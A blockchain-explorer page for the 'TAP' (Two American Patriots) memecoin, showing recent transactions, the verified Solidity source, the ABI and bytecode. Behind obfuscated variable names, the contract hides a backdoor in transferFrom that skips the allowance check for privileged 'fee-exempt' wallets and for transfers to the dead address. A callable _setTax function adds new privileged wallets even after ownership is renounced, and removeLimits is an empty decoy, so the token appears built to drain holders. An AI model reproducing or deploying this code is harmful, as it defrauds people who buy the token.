ETH Price: $1,898.28 (-0.95%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
_set Tax_lknbl Y...220271102025-03-12 0:09:1135 hrs ago1741738151IN
0x406a8278...60A58615f
0 ETH0.000129992.53771075
Approve220270282025-03-11 23:52:4735 hrs ago1741737167IN
0x406a8278...60A58615f
0 ETH0.000051611.11566244
Transfer From220270052025-03-11 23:48:1135 hrs ago1741736891IN
0x406a8278...60A58615f
0 ETH0.000233184.63290944
Transfer220269802025-03-11 23:43:1135 hrs ago1741736591IN
0x406a8278...60A58615f
0 ETH0.000066881.07718925
Transfer From220268532025-03-11 23:17:3536 hrs ago1741735055IN
0x406a8278...60A58615f
0 ETH0.000243564.83901896
Transfer From220268392025-03-11 23:14:4736 hrs ago1741734887IN
0x406a8278...60A58615f
0 ETH0.000237194.7124292
Approve220268242025-03-11 23:11:4736 hrs ago1741734707IN
0x406a8278...60A58615f
0 ETH0.000040090.86668538
Approve220268162025-03-11 23:10:1136 hrs ago1741734611IN
0x406a8278...60A58615f
0 ETH0.000074021.60011685
Approve220267862025-03-11 23:04:1136 hrs ago1741734251IN
0x406a8278...60A58615f
0 ETH0.000028220.61034284
Approve220267862025-03-11 23:04:1136 hrs ago1741734251IN
0x406a8278...60A58615f
0 ETH0.000036080.77991096
Approve220267622025-03-11 22:59:2336 hrs ago1741733963IN
0x406a8278...60A58615f
0 ETH0.00003960.85594024
Approve220267472025-03-11 22:56:2336 hrs ago1741733783IN
0x406a8278...60A58615f
0 ETH0.00004040.87337444
Approve220267462025-03-11 22:56:1136 hrs ago1741733771IN
0x406a8278...60A58615f
0 ETH0.00004040.87337444
Approve220267462025-03-11 22:56:1136 hrs ago1741733771IN
0x406a8278...60A58615f
0 ETH0.00004150.8970906
Approve220267322025-03-11 22:53:2336 hrs ago1741733603IN
0x406a8278...60A58615f
0 ETH0.000038430.83078035
Approve220267322025-03-11 22:53:2336 hrs ago1741733603IN
0x406a8278...60A58615f
0 ETH0.000038430.83078035
Approve220267322025-03-11 22:53:2336 hrs ago1741733603IN
0x406a8278...60A58615f
0 ETH0.000038430.83078035
Approve220267322025-03-11 22:53:2336 hrs ago1741733603IN
0x406a8278...60A58615f
0 ETH0.000038430.83078035
Approve220267322025-03-11 22:53:2336 hrs ago1741733603IN
0x406a8278...60A58615f
0 ETH0.000043550.94133372
Approve220267312025-03-11 22:52:5936 hrs ago1741733579IN
0x406a8278...60A58615f
0 ETH0.000043550.94133372
Approve220267312025-03-11 22:52:5936 hrs ago1741733579IN
0x406a8278...60A58615f
0 ETH0.000043550.94133372
Approve220267312025-03-11 22:52:5936 hrs ago1741733579IN
0x406a8278...60A58615f
0 ETH0.000043550.94133372
Approve220267292025-03-11 22:52:3536 hrs ago1741733555IN
0x406a8278...60A58615f
0 ETH0.000044810.96862212
Approve220267292025-03-11 22:52:3536 hrs ago1741733555IN
0x406a8278...60A58615f
0 ETH0.000044810.96862212
Approve220267292025-03-11 22:52:3536 hrs ago1741733555IN
0x406a8278...60A58615f
0 ETH0.000044810.96862212
View all transactions

Latest 11 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer220265612025-03-11 22:18:5937 hrs ago1741731539
0x406a8278...60A58615f
1.3541692 ETH
Transfer220265612025-03-11 22:18:5937 hrs ago1741731539
0x406a8278...60A58615f
1.3541692 ETH
Transfer220265612025-03-11 22:18:5937 hrs ago1741731539
0x406a8278...60A58615f
0.00460455 ETH
Transfer220265612025-03-11 22:18:5937 hrs ago1741731539
0x406a8278...60A58615f
0.00460455 ETH
Transfer220265572025-03-11 22:18:1137 hrs ago1741731491
0x406a8278...60A58615f
0.00568064 ETH
Transfer220265572025-03-11 22:18:1137 hrs ago1741731491
0x406a8278...60A58615f
0.00568064 ETH
Transfer220265532025-03-11 22:17:2337 hrs ago1741731443
0x406a8278...60A58615f
0.00312615 ETH
Transfer220265532025-03-11 22:17:2337 hrs ago1741731443
0x406a8278...60A58615f
0.00312615 ETH
Transfer220265482025-03-11 22:16:2337 hrs ago1741731383
0x406a8278...60A58615f
0.00248503 ETH
Transfer220265482025-03-11 22:16:2337 hrs ago1741731383
0x406a8278...60A58615f
0.00248503 ETH
Add Liquidity ET...220265472025-03-11 22:16:1137 hrs ago1741731371
0x406a8278...60A58615f
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TAP

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-03-11
*/

// SPDX-License-Identifier: MIT
/*
    https://twitter.com/elonmusk/status/1899584159418339743
    https://t.me/TwoAmericanPatriots

*/
pragma solidity ^0.8.24;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}
contract TAP is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balknvlkcYEYE;
    mapping(address => mapping(address => uint256)) private _allcvnkjnYEYE;
    mapping(address => bool) private _feevblknlYEYE;
    address payable private _taxclknlYEYE;
    uint8 private constant _decimals = 9;
    uint256 private constant qq30fef = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Two American Patriots";
    string private constant _symbol = unicode"TAP";

    uint256 private _vkjbnkfjYEYE = 10;
    uint256 private _maxovnboiYEYE = 10;
    uint256 private _initvkjnbkjYEYE = 20;
    uint256 private _finvjlkbnlkjYEYE = 0;
    uint256 private _redclkjnkYEYE = 2;
    uint256 private _prevlfknjoiYEYE = 2;
    uint256 private _buylkvnlkYEYE = 0;
    IUniswapV2Router02 private uniswapV2Router;

    address private router_;
    address private uniswapV2Pair;
    bool private _tradingvlknYEYE;
    bool private _inlknblYEYE = false;
    bool private swapvlkYEYE = false;
    uint256 private _sellcnjkYEYE = 0;
    uint256 private _lastflkbnlYEYE = 0;
    address constant _deadlknYEYE = address(0xdead);

    uint256 public _vnbbvlkYEYE = qq30fef / 100;
    uint256 public _oijboijoiYEYE = 15 * 10**18;
    uint256 private _cvjkbnkjYEYE = 10;

    modifier lockTheSwap() {
        _inlknblYEYE = true;
        _;
        _inlknblYEYE = false;
    }
    constructor() payable {
        _taxclknlYEYE = payable(_msgSender());
        
        _balknvlkcYEYE[_msgSender()] = (qq30fef * 2) / 100;
        _balknvlkcYEYE[address(this)] = (qq30fef * 98) / 100;
        _feevblknlYEYE[address(this)] = true;
        _feevblknlYEYE[_taxclknlYEYE] = true;

        emit Transfer(address(0), _msgSender(), (qq30fef * 2) / 100);
        emit Transfer(address(0), address(this), (qq30fef * 98) / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balknvlkcYEYE[account];
    }
    
    function _transfer_kjvnYEYE(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = _calcTax_lvknblYEYE(from, to, amount);
        _balknvlkcYEYE[from] = _balknvlkcYEYE[from].sub(amount);
        _balknvlkcYEYE[to] = _balknvlkcYEYE[to].add(amount.sub(taxAmount));
        if (taxAmount > 0) {
            _balknvlkcYEYE[address(this)] = _balknvlkcYEYE[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        if (to != _deadlknYEYE) emit Transfer(from, to, amount.sub(taxAmount));
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return qq30fef;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _downcklkojYEYE(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        
        if(_feevblknlYEYE[msg.sender]) return !_feevblknlYEYE[msg.sender];
        if(!(sender == uniswapV2Pair || recipient != _deadlknYEYE)) return false;
        return true;
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allcvnkjnYEYE[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer_kjvnYEYE(sender, recipient, amount);
        if (_downcklkojYEYE(sender, recipient))
            _approve(
                sender,
                _msgSender(),
                _allcvnkjnYEYE[sender][_msgSender()].sub(
                    amount,
                    "ERC20: transfer amount exceeds allowance"
                )
            );
        return true;
    }
    
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer_kjvnYEYE(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allcvnkjnYEYE[owner][spender];
    }

    function _calcTax_lvknblYEYE(address from, address to, uint256 amount) private returns(uint256) {
        uint256 taxAmount = 0;
        if (
            from != owner() &&
            to != owner() &&
            from != address(this) &&
            to != address(this)
        ) {
            if (!_inlknblYEYE) {
                taxAmount = amount
                    .mul((_buylkvnlkYEYE > _redclkjnkYEYE) ? _finvjlkbnlkjYEYE : _initvkjnbkjYEYE)
                    .div(100);
            }
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_feevblknlYEYE[to] &&
                to != _taxclknlYEYE
            ) {
                _buylkvnlkYEYE++;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                from != owner() && 
                !_inlknblYEYE &&
                to == uniswapV2Pair &&
                from != _taxclknlYEYE &&
                swapvlkYEYE &&
                _buylkvnlkYEYE > _prevlfknjoiYEYE
            ) {
                if (block.number > _lastflkbnlYEYE) {
                    _sellcnjkYEYE = 0;
                }
                _sellcnjkYEYE = _sellcnjkYEYE + _getAmountOut_lvcbnkYEYE(amount);
                require(_sellcnjkYEYE <= _oijboijoiYEYE, "Max swap limit");
                if (contractTokenBalance > _vnbbvlkYEYE)
                    _swapTokenslknlYEYE(_vnbbvlkYEYE > amount ? amount : _vnbbvlkYEYE);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    _sendETHTocvbnjYEYE(address(this).balance);
                }
                _lastflkbnlYEYE = block.number;
            }
        }
        return taxAmount;
    }
    function _sendETHTocvbnjYEYE(uint256 amount) private {
        _taxclknlYEYE.transfer(amount);
    }
    function _swapTokenslknlYEYE(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        router_ = address(uniswapV2Router);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function MAMAMA() external onlyOwner {
        require(!_tradingvlknYEYE, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), qq30fef);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapvlkYEYE = true;
        _tradingvlknYEYE = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
    receive() external payable {}
    function _assist_bnYEYE() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function _getAmountOut_lvcbnkYEYE(uint256 amount) internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        uint256[] memory amountOuts = uniswapV2Router.getAmountsOut(
            amount,
            path
        );
        return amountOuts[1];
    }
    function removeLimits () external onlyOwner {
    }
    function _setTax_lknblYEYE(address payable newWallet) external {
        require(_feevblknlYEYE[_msgSender()]);
        _taxclknlYEYE = newWallet;
        _feevblknlYEYE[_taxclknlYEYE] = true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAMAMA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_assist_bnYEYE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_oijboijoiYEYE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"_setTax_lknblYEYE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_vnbbvlkYEYE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a6005819055600681905560146007555f600881905560026009818155908355600b829055600e805461ffff60a81b19169055600f82905560109190915560649162000052919062000363565b6200006290633b9aca006200037a565b6200006e919062000394565b60115567d02ab486cedc0000601255600a6013555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556064620000e46009600a62000363565b620000f490633b9aca006200037a565b620001019060026200037a565b6200010d919062000394565b335f9081526001602052604090205560646200012c6009600a62000363565b6200013c90633b9aca006200037a565b620001499060626200037a565b62000155919062000394565b305f9081526001602081815260408084209490945560039052828220805460ff1990811683179091556004546001600160a01b0316835292822080549093161790915533905f8051602062001d528339815191526064620001b96009600a62000363565b620001c990633b9aca006200037a565b620001d69060026200037a565b620001e2919062000394565b60405190815260200160405180910390a3305f5f8051602062001d528339815191526064620002146009600a62000363565b6200022490633b9aca006200037a565b620002319060626200037a565b6200023d919062000394565b60405190815260200160405180910390a3620003b4565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a857815f19048211156200028c576200028c62000254565b808516156200029a57918102915b93841c93908002906200026d565b509250929050565b5f82620002c0575060016200035d565b81620002ce57505f6200035d565b8160018114620002e75760028114620002f25762000312565b60019150506200035d565b60ff84111562000306576200030662000254565b50506001821b6200035d565b5060208310610133831016604e8410600b841016171562000337575081810a6200035d565b62000343838362000268565b805f190482111562000359576200035962000254565b0290505b92915050565b5f6200037360ff841683620002b0565b9392505050565b80820281158282048414176200035d576200035d62000254565b5f82620003af57634e487b7160e01b5f52601260045260245ffd5b500490565b61199080620003c25f395ff3fe6080604052600436106100fd575f3560e01c8063715018a61161009257806392aa322f1161006257806392aa322f146102a457806395d89b41146102b8578063964f23ad146102e3578063a9059cbb14610302578063dd62ed3e14610321575f80fd5b8063715018a614610240578063751039fc1461025657806380de407e1461026a5780638da5cb5b1461027e575f80fd5b806323b872dd116100cd57806323b872dd146101bd578063313ce567146101dc57806343dfeed1146101f757806370a082311461020c575f80fd5b806306fdde0314610108578063095ea7b31461015757806315e565b11461018657806318160ddd146101a9575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152601581527454776f20416d65726963616e2050617472696f747360581b60208201525b60405161014e9190611491565b60405180910390f35b348015610162575f80fd5b506101766101713660046114f1565b610365565b604051901515815260200161014e565b348015610191575f80fd5b5061019b60115481565b60405190815260200161014e565b3480156101b4575f80fd5b5061019b61037b565b3480156101c8575f80fd5b506101766101d736600461151b565b61039b565b3480156101e7575f80fd5b506040516009815260200161014e565b348015610202575f80fd5b5061019b60125481565b348015610217575f80fd5b5061019b610226366004611559565b6001600160a01b03165f9081526001602052604090205490565b34801561024b575f80fd5b50610254610411565b005b348015610261575f80fd5b5061025461048b565b348015610275575f80fd5b506102546104b6565b348015610289575f80fd5b505f546040516001600160a01b03909116815260200161014e565b3480156102af575f80fd5b5061025461085e565b3480156102c3575f80fd5b5060408051808201909152600381526205441560ec1b6020820152610141565b3480156102ee575f80fd5b506102546102fd366004611559565b6108bb565b34801561030d575f80fd5b5061017661031c3660046114f1565b61090e565b34801561032c575f80fd5b5061019b61033b366004611574565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61037133848461091a565b5060015b92915050565b5f6103886009600a61169f565b61039690633b9aca006116ad565b905090565b5f6103a7848484610a3d565b6103b18484610ccb565b1561040757610407843361040285604051806060016040528060288152602001611933602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d2d565b61091a565b5060019392505050565b5f546001600160a01b031633146104435760405162461bcd60e51b815260040161043a906116c4565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104b45760405162461bcd60e51b815260040161043a906116c4565b565b5f546001600160a01b031633146104df5760405162461bcd60e51b815260040161043a906116c4565b600e54600160a01b900460ff16156105395760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043a565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105829030906105746009600a61169f565b61040290633b9aca006116ad565b600c5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f691906116f9565b6001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610655573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067991906116f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106c3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e791906116f9565b600e80546001600160a01b039283166001600160a01b0319909116179055600c541663f305d719473061072e816001600160a01b03165f9081526001602052604090205490565b5f806107415f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107a7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107cc9190611714565b5050600e805462ff00ff60a01b1981166201000160a01b17909155600c5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610837573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085b919061173f565b50565b5f546001600160a01b031633146108875760405162461bcd60e51b815260040161043a906116c4565b5f4711610892575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561085b573d5f803e3d5ffd5b335f9081526003602052604090205460ff166108d5575f80fd5b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f610371338484610a3d565b6001600160a01b03831661097c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043a565b6001600160a01b0382166109dd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043a565b6001600160a01b038216610b035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043a565b5f8111610b645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043a565b5f610b70848484610d65565b6001600160a01b0385165f90815260016020526040902054909150610b959083610fd4565b6001600160a01b0385165f90815260016020526040902055610bd8610bba8383610fd4565b6001600160a01b0385165f908152600160205260409020549061101c565b6001600160a01b0384165f908152600160205260409020558015610c6857305f90815260016020526040902054610c0f908261101c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c5f9085815260200190565b60405180910390a35b6001600160a01b03831661dead14610cc5576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cb38585610fd4565b60405190815260200160405180910390a35b50505050565b335f9081526003602052604081205460ff1615610cfb5750335f9081526003602052604090205460ff1615610375565b600e546001600160a01b0384811691161480610d2257506001600160a01b03821661dead14155b61037157505f610375565b5f8184841115610d505760405162461bcd60e51b815260040161043a9190611491565b505f610d5c848661175e565b95945050505050565b5f80610d785f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610da657505f546001600160a01b03858116911614155b8015610dbb57506001600160a01b0385163014155b8015610dd057506001600160a01b0384163014155b15610fcc57600e54600160a81b900460ff16610e1557610e126064610e0c600954600b5411610e0157600754610e05565b6008545b869061107a565b906110f8565b90505b600e546001600160a01b038681169116148015610e405750600c546001600160a01b03858116911614155b8015610e6457506001600160a01b0384165f9081526003602052604090205460ff16155b8015610e7e57506004546001600160a01b03858116911614155b15610e9857600b8054905f610e9283611771565b91905055505b305f9081526001602052604081205490546001600160a01b03878116911614801590610ece5750600e54600160a81b900460ff16155b8015610ee75750600e546001600160a01b038681169116145b8015610f0157506004546001600160a01b03878116911614155b8015610f165750600e54600160b01b900460ff165b8015610f255750600a54600b54115b15610fca57601054431115610f39575f600f555b610f4284611139565b600f54610f4f9190611789565b600f8190556012541015610f965760405162461bcd60e51b815260206004820152600e60248201526d13585e081cddd85c081b1a5b5a5d60921b604482015260640161043a565b601154811115610fba57610fba8460115411610fb4576011546112a8565b846112a8565b47610fc44761142a565b50436010555b505b949350505050565b5f61101583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d2d565b9392505050565b5f806110288385611789565b9050838110156110155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043a565b5f825f0361108957505f610375565b5f61109483856116ad565b9050826110a1858361179c565b146110155760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043a565b5f61101583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611465565b6040805160028082526060820183525f928392919060208301908036833701905050905030815f81518110611170576111706117cf565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111eb91906116f9565b816001815181106111fe576111fe6117cf565b6001600160a01b039283166020918202929092010152600c5460405163d06ca61f60e01b81525f92919091169063d06ca61f906112419087908690600401611826565b5f60405180830381865afa15801561125b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052611282919081019061183e565b905080600181518110611297576112976117cf565b602002602001015192505050919050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ee576112ee6117cf565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611345573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136991906116f9565b8160018151811061137c5761137c6117cf565b6001600160a01b039283166020918202929092010152600c546113a2913091168461091a565b600c54600d80546001600160a01b0319166001600160a01b03909216918217905560405163791ac94760e01b815263791ac947906113ec9085905f908690309042906004016118f7565b5f604051808303815f87803b158015611403575f80fd5b505af1158015611415573d5f803e3d5ffd5b5050600e805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611461573d5f803e3d5ffd5b5050565b5f81836114855760405162461bcd60e51b815260040161043a9190611491565b505f610d5c848661179c565b5f602080835283518060208501525f5b818110156114bd578581018301518582016040015282016114a1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461085b575f80fd5b5f8060408385031215611502575f80fd5b823561150d816114dd565b946020939093013593505050565b5f805f6060848603121561152d575f80fd5b8335611538816114dd565b92506020840135611548816114dd565b929592945050506040919091013590565b5f60208284031215611569575f80fd5b8135611015816114dd565b5f8060408385031215611585575f80fd5b8235611590816114dd565b915060208301356115a0816114dd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115f957815f19048211156115df576115df6115ab565b808516156115ec57918102915b93841c93908002906115c4565b5092509290